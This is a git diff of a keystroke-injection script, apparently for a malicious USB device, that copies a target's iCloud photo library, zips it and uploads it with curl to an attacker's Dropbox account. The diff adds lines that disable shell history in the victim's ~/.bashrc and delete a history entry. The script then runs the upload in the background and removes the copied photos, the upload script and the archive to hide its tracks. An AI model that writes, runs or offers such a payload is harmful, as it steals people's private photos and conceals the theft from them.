diff --git a/Executions/iCloud Photos to Dropbox.txt b/Executions/iCloud Photos to Dropbox.txt index 1ad1763..9c206b4 100644 --- a/Executions/iCloud Photos to Dropbox.txt +++ b/Executions/iCloud Photos to Dropbox.txt @@ -11,6 +11,8 @@ REM we copy it and navigate to a new window to paste the folder REM Then we zip the folder and rename it "Targets_photos" and send it to the dropbox REM Using the nohup and & to make sure the code is executed +REM Requirements Must have at least two windows open +REM Dropbox API key and targets system username REM Author: Narsty @@ -48,33 +50,38 @@ DELAY 1000 ENTER DELAY 500 CTRL c +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER DELAY 1000 -STRING echo 'cd ~/Desktop && zip -r targets_photos.zip Libraries && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/targets_photos.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @targets_photos.zip' > upload.sh +STRING echo 'cd ~/Desktop && zip -r targets_photos.zip Libraries && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/targets_photos.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @targets_photos.zip' > upload.sh DELAY 1000 ENTER DELAY 2000 -STRING chmod +x upload.sh +STRING chmod +x upload.sh DELAY 500 ENTER DELAY 500 -STRING nohup ./upload.sh >/dev/null 2>&1 & +STRING nohup ./upload.sh >/dev/null 2>&1 & DELAY 500 ENTER DELAY 7000 CTRL C DELAY 500 -STRING rm -r ~/Desktop/libraries +STRING rm -r ~/Desktop/libraries DELAY 1000 ENTER DELAY 500 -STRING rm upload.sh +STRING rm upload.sh DELAY 500 ENTER DELAY 5000 -STRING rm -r ~/Desktop/targets_photos.zip +STRING rm -r ~/Desktop/targets_photos.zip ENTER DELAY 500 -STRING CLEAR +STRING CLEAR DELAY 500 ENTER DELAY 500